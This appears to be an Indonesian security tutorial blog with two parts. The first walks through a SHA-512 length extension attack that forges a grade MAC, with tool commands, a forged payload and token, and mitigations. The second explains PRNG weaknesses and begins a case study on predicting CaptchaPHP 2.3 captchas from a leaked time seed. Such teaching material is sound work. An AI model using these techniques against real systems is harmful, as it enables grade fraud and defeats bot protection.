MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7 ('1300000023|CS321=C;CS442=B;')
Parameter token, SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'): 
1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9
Panjang kunci: 14

Karena setiap nilai dipisahkan dengan titik-koma, maka si mahasiswa ingin menambahkan data ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ di akhir data aslinya supaya nilainya berubah menjadi A untuk 5 mata kuliah itu.

Parameter nilai yang akan dikirim (asli+padding+tambahan) :
'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;'
Token:
SHA512('unknown 14 byte key'+'1300000023|CS321=C;CS442=B;'+byte padding+';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;')

Kali ini si mahasiswa sudah tidak galau lagi, walaupun dia tidak tahu isi ‘unknown 14 byte key’, dia tetap bisa menghitung token yang valid karena dia mengetahui SHA512(‘unknown 14 byte key’+’1300000023|CS321=C;CS442=B;’). Kalau sudah tahu SHA512(A+B), mencari SHA512(A+B+C) itu mudah walaupun tidak tahu A dan B.

Dengan hash length extension attack, dia tinggal melanjutkan penghitungan hashnya dengan blok data baru untuk mendapatkan nilai hash yang baru. Dia memakai tools sha512-extender untuk menghitung mac yang valid.

rizki$ ./sha512-extender.py 
./sha512-extender.py [knownMAC] [knownData] [appendedText] [keyLen]
rizki$ ./sha512-extender.py 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9 '1300000023|CS321=C;CS442=B;' ';CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;' 14
Injection Data in Hex Format:
00000: 31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
00016: 3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00032: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 

00128: 3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
00144: 3D 41 3B 43 53 34 34 34 - 3D 41 3B

Injection Data in Base64 Encoded Format:
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=

########## Original Message ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B

########## 1st Padding ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00

########## Final Padded Blocks ##########
00000: 3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
00016: 3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
00032: 3B 43 53 34 34 34 3D 41 - 3B 80 00 00 00 00 00 00 
00048: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00064: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00096: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00112: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 05 48

########## Words ##########

## Block 0
00000: 3B 43 53 31 31 34 3D 41 -
00000: 3B 43 53 35 32 31 3D 41 -
00000: 3B 43 53 32 32 31 3D 41 -
00000: 3B 43 53 31 32 35 3D 41 -
00000: 3B 43 53 34 34 34 3D 41 -
00000: 3B 80 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 00 00 -
00000: 00 00 00 00 00 00 05 48 -

#####################################################################################################################################################################
Initial Hash value              : 1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9

Memproses Blok 0
Intermediate SHA512 for block 0 : 48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7

Perhatikan output dari tools tersebut, data yang akan dikirim ke server adalah:

Injection Data in Hex Format:
31 33 30 30 30 30 30 30 - 32 33 7C 43 53 33 32 31 
3D 43 3B 43 53 34 34 32 - 3D 42 3B 80 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
01 48 3B 43 53 31 31 34 - 3D 41 3B 43 53 35 32 31 

3D 41 3B 43 53 32 32 31 - 3D 41 3B 43 53 31 32 35 
3D 41 3B 43 53 34 34 34 - 3D 41 3B

Data tersebut kalau disusun ulang sususannya menjadi berbentuk blok 1024 bit menjadi:

?? ?? ?? ?? ?? ?? ?? ?? - ?? ?? ?? ?? ?? ?? 31 33 
30 30 30 30 30 30 32 33 - 7C 43 53 33 32 31 3D 43 
3B 43 53 34 34 32 3D 42 - 3B 80 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 01 48

3B 43 53 31 31 34 3D 41 - 3B 43 53 35 32 31 3D 41 
3B 43 53 32 32 31 3D 41 - 3B 43 53 31 32 35 3D 41 
3B 43 53 34 34 34 3D 41 - 3B

Ada sebanyak 14 tanda tanya pada blok di atas, itu adalah secret key yang tidak diketahui oleh si mahasiswa. Di server nanti, secret key yang panjangnya 14 byte akan diconcat dengan data yang dikirim mahasiswa galau, sehingga tanda tanya di atas akan terisi dengan secret key dan menjadi lengkap 1 blok. Blok pertama tersebut isinya sama dengan blok pertama ketika menghitung hash SHA512(‘s4nG4t#R4h4514’+’1300000023|CS321=C;CS442=B;’) yang menghasilkan hash ‘1af41c81d665f0…’.

Setelah menutup blok pertama dengan ’01 48′, data matakuliah dan nilai yang ditambahkan si mahasiswa akan mengisi awal dari blok kedua.

Dengan tools sha512-extender si mahasiswa juga sudah mendapatkan MAC yang valid untuk data ‘1300000023|CS321=C;CS442=B;’+padding+’;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ yaitu ’48be6ba7fa90e….’

Token:
48be6ba7fa90e7312dec0f169783f7b3722cce4be8e80b7e75ccf0f3d955794c368a3ada05ab3f95ee07d37f4a99b98a0e16569aacc0e8777ca54b1c89344ad7
Nilai (base64 encoded):
MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIO0NTMTE0PUE7Q1M1MjE9QTtDUzIyMT1BO0NTMTI1PUE7Q1M0NDQ9QTs=

Akhir cerita, tanpa mengetahui kunci rahasia, si mahasiswa bisa mengubah nilainya menjadi A semua untuk 5 mata kuliah tersebut.

Screen Shot 2013-03-05 at 11.41.28 AM

Proses di Server Akademik

Si mahasiswa kini sudah tidak galau lagi karena sudah sukses mencurangi sistem akademik kampusnya. Sekarang kita akan melihat proses di server dan bagaimana server bisa tertipu ?

Berikut adalah source code di server, terlihat bahwa kunci rahasianya adalah ‘s4nG4t#R4h4514’ berukuran 14 byte. Walaupun si mahasiswa tidak mengetahui kunci rahasia itu, tapi dia tetap bisa mengirim data nilainya dengan hash (MAC) yang valid. Kok bisa? Mari kita lihat apa yang sebenarnya terjadi.

Screen Shot 2013-03-05 at 11.59.00 AM

Kita mulai dari melihat proses penghitungan hash secret key + data aslinya (‘s4nG4t#R4h45141300000023|CS321=C;CS442=B;’) menjadi ‘1af41c81d…’.

Screen Shot 2013-03-05 at 12.28.24 PM

Sekarang kita lihat pada gambar di bawah ini, bagaimana secret key di server digabung dengan data yang dikirim si mahasiswa galau. Sekali lagi yang perlu diingat adalah bahwa hasil penggabungan (concat) antara secret key dan data yang dikirim si mahasiswa, harus membentuk blok pertama yang sama (tidak boleh berbeda).

Screen Shot 2013-03-09 at 8.56.19 PM

Dan ini adalah proses penghitungan hash di server setelah secret key digabung dengan data yang dikirim si mahasiswa.

Screen Shot 2013-03-05 at 12.44.46 PM

Pada gambar di atas, data yang berwarna hijau gelap adalah secret key ‘s4nG4t#R4h4514’ yang tidak diketahui si mahasiswa. Data yang berwarna hijau terang adalah data yang dikirim oleh si mahasiswa. Jadi proses pada gambar tersebut adalah penghitungan hash dari gabungan (concatenation) kunci rahasia (hijau gelap) dan data yang dikirim si mahasiswa galau (hijau terang).

Perhatikan juga bahwa data yang dikirim si mahasiswa (hijau terang) adalah data aslinya (‘1300000023|CS321=C;CS442=B;’), diikuti dengan padding (80 00 00 … 01 48) untuk menggenapi dan menutup blok data aslinya, kemudian diikuti dengan data tambahan ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ (3B 43 53 31 31…) di awal blok kedua. Si mahasiswa mengirim byte ’01 48′ untuk menutup blok pertama karena panjang secret key (14)+panjang data aslinya (27)=41 byte atau 328 bit dan dalam hexa adalah 01 48.

Sederhananya, data yang dikirim mahasiswa galau adalah hampir semua isi blok pertama kecuali secret key di awal blok (hijau gelap), karena memang dia tidak tahu isinya + data baru tambahan.

Proses Penghitungan oleh si Mahasiswa Galau

Perhatikan perbedaan antara penghitungan hash di server dan di client. Proses penghitungan hash di server dilakukan dari nol, dimulai dari blok pertama dan dengan initial hash value default dari FIPS 3-180 (‘6a09e667…’) karena server mengetahui kunci rahasia ‘s4nG4t#R4h4514’.

Sedangkan client, karena tidak tahu kunci rahasia, dia tidak bisa menghitung hash value dari blok pertama. Tapi walaupun dia tidak tahu isi blok pertama, dia tahu hash dari blok pertama, yaitu ‘1af41c81d…’. Ingat, isi blok pertama tidak dibutuhkan, yang dibutuhkan hanya hash dari blok pertama.

Gambar di bawah ini adalah modifikasi dari gambar proses di server dengan proses penghitungan blok pertama dihilangkan, langsung memproses blok kedua tanpa memproses blok pertama karena memang client tidak tahu isi blok pertama.

Perhatikan pada 128 bit padding berwarna biru, panjang data adalah 05 48 atau 1352 bit, yang merupakan panjang 1 blok data (1024 bit) + panjang ‘;CS114=A;CS521=A;CS221=A;CS125=A;CS444=A;’ dalam bit. Jadi walaupun yang dihitung adalah satu blok saja, tapi penghitungan hash di client ini seolah-olah adalah kelanjutan dari penghitungan blok pertama sehingga panjang datanya harus mengikutsertakan panjang blok pertama juga.

Screen Shot 2013-03-05 at 12.58.41 PM

Jadi proses penghitungan hashnya dimulai dari blok pertama (di server) atau langsung dari blok kedua (di client), hasil akhirnya akan sama, ’48be6ba7fa…’.

Bila panjang kunci tidak diketahui

Dalam dua contoh pertama walaupun client tidak tahu isi kuncinya, tapi hanya tahu panjang kunci. Panjang kunci contoh pertama adalah 300 byte (‘A’x300), dan pada contoh kedua panjang kuncinya adalah 14 byte (‘s4nG4t#R4h4514’).

Dengan mengetahui panjang kunci, client bisa dengan mudah menghitung byte padding yang dibutuhkan dan panjang data total yang akan dihash (panjang hasil concat kunci+data dari client). Lalu bagaimana bila client yang akan menyerang tidak tahu isi kunci dan panjang kuncinya ?

Bila panjang kunci tidak diketahui, tidak ada masalah juga. Client bisa dengan mudah melakukan brute force, mulai dari panjang kunci 1, 2, 3, 4… sampai ketemu panjangnya 14. Tools sha512-extender tersebut kalau mau bisa dengan mudah dimodifikasi sedikit untuk mengakomodasi kebutuhan brute force. Kalau panjang kunci 1, maka MAC nya ini, dan data yang harus dikirim ke server adalah ini, kemudian dicoba request ke server, bila gagal, coba lagi tools extender kali ini dengan panjang kunci 2 dan seterusnya.

Pencegahan

Agar program yang kita buat tidak bisa diexploit dengan teknik ini, solusinya sederhana:

  1. Don’t reinvent the wheel. Hindari membuat sendiri MAC dengan bentuk-bentuk HASH(kunci+data). Gunakan HMAC (Hash-based MAC) yang memang sudah dirancang untuk membuat MAC yang aman.
  2. SHA3 (Keccak) tidak vulnerable terhadap hash length extension, jadi kalau tetap menggunakan bentuk HASH(kunci+data) gunakan SHA3(kunci+data).

Exploiting Weak Random Number

Dalam tulisan ini saya akan membahas tentang random number, dan bagaimana attack terhadap random number generator bisa sangat berbahaya. Selama ini kita sering mendengar tentang random number tapi banyak yang belum paham betapa pentingnya random number dalam keamanan informasi dan apa bahaya yang terjadi bila random number yang dipilih tidak cukup random?

Randomness

Apakah yang dimaksud dengan random/acak ? Bagaimana kita mendefinisikan sesuatu bisa disebut acak atau bukan ?

Sebenarnya sulit menentukan apakah sesuatu itu benar-benar random atau bukan. Tapi secara umum kita menyebut sesuatu itu random bila kita tidak melihat adanya pola atau keteraturan atau urutan (absence of pattern, absence of order), walaupun absence of order juga tidak menjamin benar-benar random.

Suatu deretan angka tidak bisa dibilang random bila deretan angka itu digenerate oleh suatu prosedur/algoritma tertentu yang deterministik, artinya setiap kali prosedur tersebut dijalankan lagi, deretan angka yang keluar akan selalu sama dengan yang sebelumnya.

Beberapa properti yang bisa dipakai untuk menilai randomness adalah:

  1. Even distribution
  2. Unpredictability
  3. Uniqueness

Even Distribution

Even distribution maksudnya adalah semua hasil yang mungkin mempunyai peluang yang sama. Sebagai contoh kalau kita melempar dadu, setiap sisi mempunyai peluang yang sama, tidak boleh berat ke salah satu sisi saja. Dalam waktu yang cukup lama, data yang digenerate secara random seharusnya akan mengcover hampir semua data set secara merata (tidak berkelompok di salah satu bagian saja).

Kalau himpunan semua nilai yang mungkin digambarkan sebagai pixel dalam monitor anda, number generator yang baik akan secara merata mengisi semua pixel yang ada, tidak berkelompok di satu area tertentu.

Tiga gambar di bawah ini memperlihatkan distribusi random number yang merata, mulai dari masih sedikit sampai makin banyak.

Semakin banyak bilangan yang digenerate, akan semakin merata bilangan itu menutupi area-area yang kosong.

Perbedaan antara password yang dibuat oleh manusia dan random password generator terlihat dari distribusi penggunaan karakternya. Password yang dibuat manusia distribusinya tidak merata karena sangat dipengaruhi oleh bahasa yang dipakai. Bahasa manusia jelas tidak random, sehingga password yang diturunkan dari bahasa tersebut juga tidak mungkin random. Bila dalam bahasa inggris,  huruf yang paling sering dipakai adalah ‘e’, maka frekuensi huruf e akan terlihat menonjol dibanding huruf lainnya.

Berbeda dengan password yang digenerate oleh password generator, dari 26 huruf yang ada, semua huruf punya peluang yang sama sehingga distribusinya merata. Tidak ada satu huruf yang lebih sering dipakai dibandingkan huruf yang lain.

Perbedaan ini menunjukkan bahwa password yang dipilih manusia sangat jauh dari random. Hal ini terlihat dari grafik distribusi karakter password yang dibuat oleh manusia. Terlihat ada karakter-karakter yang terlihat menonjol karena sering dipakai, ada juga karakter-karakter yang jarang atau tidak pernah dipakai dalam password.

Password yang digenerate oleh password generator memiliki distribusi karakter yang merata. Grafik di bawah jelas menunjukkan bahwa semua karakter mempunyai peluang yang sama, tidak ada karakter yang sangat sering, lebih sering, jarang dipakai atau tidak pernah dipakai.

Unpredictability

Unpredictability maksudnya adalah data-data yang sudah lebih dulu muncul tidak bisa dipakai untuk memprediksi data apa yang akan muncul berikutnya karena setiap data tidak ada hubungannya dan tidak tergantung dengan data yang lain (independent).

Apa yang terjadi kalau random number yang akan muncul bisa diprediksi sebelumnya?

Mesin di kasino memiliki random number generator di dalamnya untuk mengacak kartu, bila random number yang muncul sudah bisa diprediksi sebelumnya, dia akan bisa selalu memenangkan permainan. Dalam buku The Art of Intrusion, ada satu bab yang menceritakan tentang kesuksesan 3 orang melakukan hacking mesin kasino dengan cara memprediksi random number.

Quote berikut dengan singkat menceritakan apa yang mereka lakukan, “Reverse engineering the operation of the machine, learned precisely how the random numbers were turned into cards on the screen, precisely when and how fast the RNG iterated, all of the relevant idiosyncrasies of the machine, and developed a program to take all of these variables into consideration so that once we know the state of a particular machine at an exact instant in time, we could predict with high accuracy the exact iteration of the RNG at any time within the next few hours or even days”.

Dalam dunia security predictability bisa berakibat fatal, misalnya memprediksi password yang digenerate oleh password generator, memprediksi session id, memprediksi activation link dan masih banyak lagi lainnya.

Uniqueness

Bila kita mengambil sederetan data acak (misalkan 10 karakter acak), kecil peluangnya kita menemukan 10 karakter acak tersebut berulang (repetition), semakin panjang deretan angka yang kita ambil, semakin kecil peluangnya berulang. Karena random number terdistribusi secara merata dan antara satu data dan lainnya tidak saling berhubungan, maka  kecil peluang kemunculan dua data yang berulang.

Pseudo Random Number Generator (PRNG)

Komputer sebagai mesin yang deterministik tidak mungkin bisa menghasilkan sesuatu yang random. Deterministik disini maksudnya adalah suatu prosedur tertentu diberi input yang sama, outputnya  juga akan selalu sama. Output hanya akan berbeda bila inputnya berbeda.

Komputer bekerja mengikuti langkah-langkah yang sudah ditetapkan dalam algoritma program. Tidak mungkin sebuah komputer bekerja dengan cara yang acak tanpa mengikuti alur langkah-langkah algoritma.

Machines are deterministics, their operation is predictable and repeatable

Begitu juga random number yang digenerate komputer juga adalah hasil dari komputasi algoritma tertentu yang deterministik, oleh karena itu hasil random numbernya tidak benar-benar random atau disebut dengan Pseudo Random.

Salah satu implementasi PRNG adalah dengan menggunakan algoritma enkripsi simetris seperti AES-128 dalam counter mode seperti gambar di atas.

Random number yang pertama muncul adalah hasil enkripsi dengan kunci yang diambil dari suatu sumber yang cukup random (sebagai seed), dan message yang dienkrip adalah angka 0. Random number berikutnya adalah hasil enkripsi dengan kunci yang sama (seed), namun message yang dienkrip adalah angka 1, berikutnya message yang dienkrip adalah 2 dan seterusnya sehingga membentuk deretan angka yang cukup random.

Kalau diperhatikan gambar implementasi PRNG di atas, jelas terlihat bahwa bila orang lain mengetahui seednya, maka semua random number yang akan muncul dan yang sudah muncul bisa diketahui dengan mudah.

Sekali lagi perlu diingat bahwa prosedur PRNG adalah deterministik, jadi dengan seed yang sama dan algoritma yang sama, maka deretan angka random yang muncul juga akan selalu sama. Deretan angka random hanya akan berbeda bila seed yang diberikan berbeda.

  • Dengan seed x, maka yang muncul adalah x0,x1,x2
  • Dengan seed y, maka yang muncul adalah y0,y1,y2
  • Dengan seed z, maka yang muncul adalah z0,z1,z2

Remember: Same seed, same sequence of numbers

Kalau ada yang berpikir menjalankan PRNG dengan seed yang sama berulang-ulang kemudian secara ajaib angka acak yang berbeda-beda muncul setiap kali dijalankan, kata einstein itu gila. Mengharapkan hasil yang berbeda dengan menjalankan fungsi PRNG dan input seed yang sama itu gila kata Einstein, mau diulang berapa kalipun hasilnya pasti sama, tidak mungkin berbeda.

Apa yang terjadi bila seed diketahui pihak luar? Bila orang lain tahu seed yang diberikan pada suatu PRNG, maka dia bisa mengetahui semua deret random number yang sudah muncul dan yang akan datang.

When the state of the random number generator is leaked all future random numbers are predictable – Steffan Esser

Oleh karena itu sangat penting untuk menggunakan seed dari sumber yang benar-benar random agar tidak terjadi kebocoran seed.

PRNG Period/Cycle

Kelemahan lain dari PRNG adalah adanya periode/siklus perulangan, setelah PRNG men-generate sekian banyak random number, dia akan kembali lagi mengulang deretan angka yang sama seperti dari awal lagi.

Contohnya dengan seed x, maka deretan angka yang muncul adalah x0,x1,x2…(setelah sekian banyak random number)…x0,x1,x2…dan seterusnya

Source of Seed

Sebagai input untuk PRNG, seed haruslah berasal dari sumber yang benar-benar random. Sumber yang dinilai random adalah aktivitas fisik yang non-deterministic antara lain:

  • Pergerakan mouse
  • Penekanan tombol keyboard
  • Thermal noise
  • Radioactive activity

Sebenarnya sumber true random number sangat banyak di alam. Hampir semua kejadian di alam bila kita perhatikan dengan seksama terjadi dengan cara yang random, seperti gerakan awan, ombak di laut, pergerakan atom/molekul dalam zat dan masih banyak lagi. Dengan sensor atau alat observasi yang tepat kita bisa memanfaatkan banyak kejadian di alam sebagai sumber true random number.

Beberapa operating system menyediakan random pool yang siap pakai seperti /dev/random. /dev/random siap memberikan random number kapanpun diminta yang berasal dari environmental noise dalam CPU, jadi random numbernya bisa dibilang cukup random karena berasal dari aktivitas fisik (non-deterministik).

Random Number as Seed to PRNG

Dibutuhkan effort lebih untuk mendapatkan bilangan random yang non-deterministik dan berasal dari aktivitas fisik di luar komputer. Sumber-sumber yang memberikan bilangan random yang non-deterministik biasanya hanya bisa menyediakan random number dalam jumlah yang terbatas, sedangkan PRNG bisa memberikan random number dalam jumlah yang sangat banyak (tergantung sebanyak apa angka yang keluar sebelum terjadi perulangan, repetition cycle).

Karena keterbatasan itu maka perlu dikombinasikan antara random number non-deterministik dengan PRNG. Bila dibutuhkan random number dalam jumlah banyak yang tidak bisa disediakan oleh random number non-deterministik, maka kompromi yang bisa dilakukan adalah dengan mengambil random number dari PRNG yang diberi seed dari random number yang diambil dari sumber luar yang non-deterministik.

Dalam gambar implementasi PRNG di atas juga terlihat bahwa prosedur PRNG memiliki input yang berasal dari “random pool” yang digambarkan sebagai awan. Random pool ini berasal dari sumber-sumber yang non-deterministik seperti pergerakan mouse, keyboard, thermal noise sampai aktivitas radioaktif.

Random Number Role in Security

Random number memegang peranan critical dalam menjamin keamanan data. Aplikasi random number dalam bidang security yang crucial antara lain:

  • Generating password
  • Generating session ID
  • Generating activation/confirmation code
  • Generating symmetric/asymmetric encryption key
  • and many more…

Bila random number yang digunakan untuk men-generate password atau encryption key lemah, seorang hacker bisa mendapatkan password atau encryption key dengan melakukan komputasi di komputernya kemudian dengan leluasa menguasai account, server atau membuka data yang dilindungi dengan enkripsi.

Agar lebih terbayang bagaimana pentingnya random number yang kuat dalam menjaga security, berikut ini ada 4 studi kasus web application real world yang menggunakan weak random number dan cara eksploitasinya.

Case Study #1: Predicting Captcha (CaptcaPHP 2.3)

Lab Download: CaptchaPhp 2.3 dan solusicapcay.php

Sebagai contoh kasus weak random number, kita akan melakukan breaking captcha pada CaptchaPHP versi 2.3 tanpa melakukan image processing sedikitpun, murni hanya dengan “predicting the captcha”. Kelemahan ini dilaporkan oleh Julio Vidal.

Captcha memberikan soal berupa gambar berisi teks yang harus kita baca untuk membuktikan bahwa kita adalah manusia, bukan software. Idenya sederhana, bila kita bisa membaca isi teks dalam gambar, maka kita akan dipercaya sebagai manusia. Dalam tulisan saya sebelumnya tentang menjebol captcha dengan OCR saya memakai teknik optical character recognition yang mencoba membaca isi teks dalam gambar dengan algoritma tertentu. Tergantung dari tingkat kerumitan gambar, tingkat keberhasilan teknik OCR kecil, kecuali bila gambarnya benar-benar jelas (tidak mengandung noise dan gangguan-gangguan apapun).

Kali ini kita tidak memakai teknik OCR, kita akan melakukan prediksi isi teks dalam gambar, tanpa melibatkan image processing  bahkan gambar captchanya tidak disentuh dan tidak dilihat sama sekali. Tingkat akurasi prediksi ini sangat tinggi, hampir 100% sukses. Bagaimana caranya kita bisa memprediksi captcha dengan akurasi yang sangat tinggi?

Weak Seeding

Sebelumnya kita harus pahami bahwa dengan mengetahui seed suatu pseudorandom number generator (PRNG), kita bisa memprediksi semua random number yang akan di-generate oleh PRNG tersebut.

 Captcha selalu memberikan soal yang berisi teks yang berbeda-beda setiap kali diminta. Teks yang ada pada gambar captcha dipilih secara random dengan fungsi rand(). Dalam captchaphp 2.3 ini PRNG terlebih dahulu diberi initial state, atau seed dengan formula: ‘microtime() + time()/2 -21017’ seperti terlihat dalam source code di bawah ini:

Sepintas source code di atas tidak bermasalah, namun kalau diperhatikan pada pemanggilan fungsi srand(), terlihat bahwa sumber entropi yang dipakai untuk seed sangat lemah, yaitu waktu dalam detik dan mikrodetik. Seeding yang lemah ini menjadi malasah besar karena seperti yang sudah kita bahas sebelumnya, bila seed suatu PRNG bocor (diketahui orang lain), maka orang tersebut akan bisa memprediksi semua random number yang akan di-generate.

Kenapa PRNG harus diberi seed dari sesuatu yang tidak diketahui pihak luar? Karena bila seednya sampai diketahui orang lain, maka orang tersebut akan bisa memprediksi semua random number yang akan digenerate.

Masalahnya adalah waktu bukanlah sesuatu yang rahasia, waktu adalah sesuatu yang universal, hanya berbeda pada zona waktu saja. Kalaupun ada perbedaan waktu dengan jam server, kita bisa mengetahui waktu di server dari banyak cara, antara lain  dengan header ‘Last-Modified’ atau header ‘Date’ dari HTTP server.

Integer Truncation Seed

Kalau kita baca dokumentasi php dari fungsi srand() dan microtime(), diketahui bahwa fungsi srand() ini meminta input bertipe integer,  sedangkan formula ‘microtime()+time()/2-21017’ menghasilkan floating point karena ada operasi pembagian dan microtime() menghasilkan angka microsecond bertipe floating point. Karena ada perbedaan tipe, yang diminta integer, sedangkan yang diberikan adalah floating point, maka akan terjadi integer truncation, semua angka dibelakang koma akan dipotong sehingga hanya tersisa integernya saja.

Dalam contoh skrip kecil berikut terlihat bahwa dengan adanya truncation dari floating point ke integer, ‘microtime()+time()/2-21017’ akan sama saja dengan ‘time()/2-21017’. Jadi bisa dikatakan bahwa satu-satunya sumber entropi untuk seed adalah time().

Oke, kini kita sudah tahu bahwa satu-satunya sumber entropi untuk seeding adalah unix time dalam second. Sekarang dari mana kita bisa mengetahui berapa unix time yang dipakai dalam seeding untuk men-generate random text dalam captcha ?

Leaked time() Seed

Kunci untuk bisa melakukan prediksi random number dengan akurat adalah dengan mengetahui internal state (seed) dari PRNG.

Dalam kasus ini kita bisa mengetahui dengan pasti berapa unix time yang dipakai sebagai seed karena adanya parameter __ec_i. Apakah parameter __ec_i ini ? Perhatikan source html dari captcha berikut:

Dalam source htmlnya ada parameter  __ec_i yang berfungsi sebagai tracking ID dan secara internal dipakai untuk menentukan jawaban captcha. Mari kita lihat bagaimana __ec_i ini digenerate:

random seed

Ternyata komponen kedua setelah ‘ec.’ adalah hasil dari fungsi time(), yaitu unix time. Jadi kalau parameter __ec_i berisi ‘ec.1343036274.fea073dc38def100d18b21adf211d946’, maka unix time pada saat __ec_i tersebut digenerate adalah 1343036274.

Perhatikan dalam source di atas, ketika memanggil srand() kita memakai fungsi time(), kemudian 2 baris dibawahnya kita men-generate parameter __ec_i yang juga memakai fungsi time().  Meskipun ada perbedaan antara waktu pemanggilan time() yang pertama (pada saat srand) dan yang kedua (pada saat generate __ec_i), namun karena dua waktu ini adalah detik, maka dua kejadian ini sebagian besar terjadi dalam detik yang sama, sangat jarang terjadi di detik yang berbeda.

Jadi dalam kasus ini internal state (seed) dari PRNG sudah bocor dari parameter __ec_i, dengan membaca parameter __ec_i seseorang bisa mengetahui seed yang dipakai untuk generate random teks dalam captcha.

Predicting The Captcha 

Oke, sekarang kita sudah bisa tahu seed yang dipakai untuk generate teks dalam captcha dari parameter __ec_i, selanjutnya bagaimana cara prediksinya?

Perhatikan contoh prediksi pada gambar di atas. Dari parameter __ec_i ‘ec.1343083228.f38f0267daff24ef5ace74d079b2a50c’ kita ketahui bahwa unix time adalah 1343083228 dan timestamp ini digunakan sebagai seed untuk generate random teks dalam captcha. Saya memodifikasi sedikit captchaphp 2.3 yang asli, agar menerima masukan berupa unix time dan memakainya sebagai seed untuk men-generate random teks.

Terlihat bahwa random teks yang digenerate oleh skrip hasil modifikasi yang dijalankan secara local sama persis dengan isi teks dalam gambar captcha yang diberikan server. Ini membuktikan dengan seed dan PRNG yang sama, random number yang digenerate siapapun, kapanpun, dimanapun (di client maupun di server) akan sama persis, artinya kita sudah sukses melakukan prediksi yang 100% akurat. Tanpa menyentuh dan melihat gambar captchanya sama sekali, hanya berbekal unix time kita bisa dengan akurat memprediksi isi teks dalam gambar captcha.

Bila skrip itu dijalankan berulang-ulang kali dengan seed yang sama, maka random teks yang dihasilkan juga akan sama persis. Selama seednya sama, hasil random teksnya juga akan sama.

Modifying Script

Skrip prediksi dibuat dari script captchaphp 2.3 yang asli dengan beberapa modifikasi kecil berikut ini:

Pada modifikasi di atas, saat memanggil srand(), kita tidak lagi memakai fungsi time(), tapi memakai argument dari command line, argv[1].

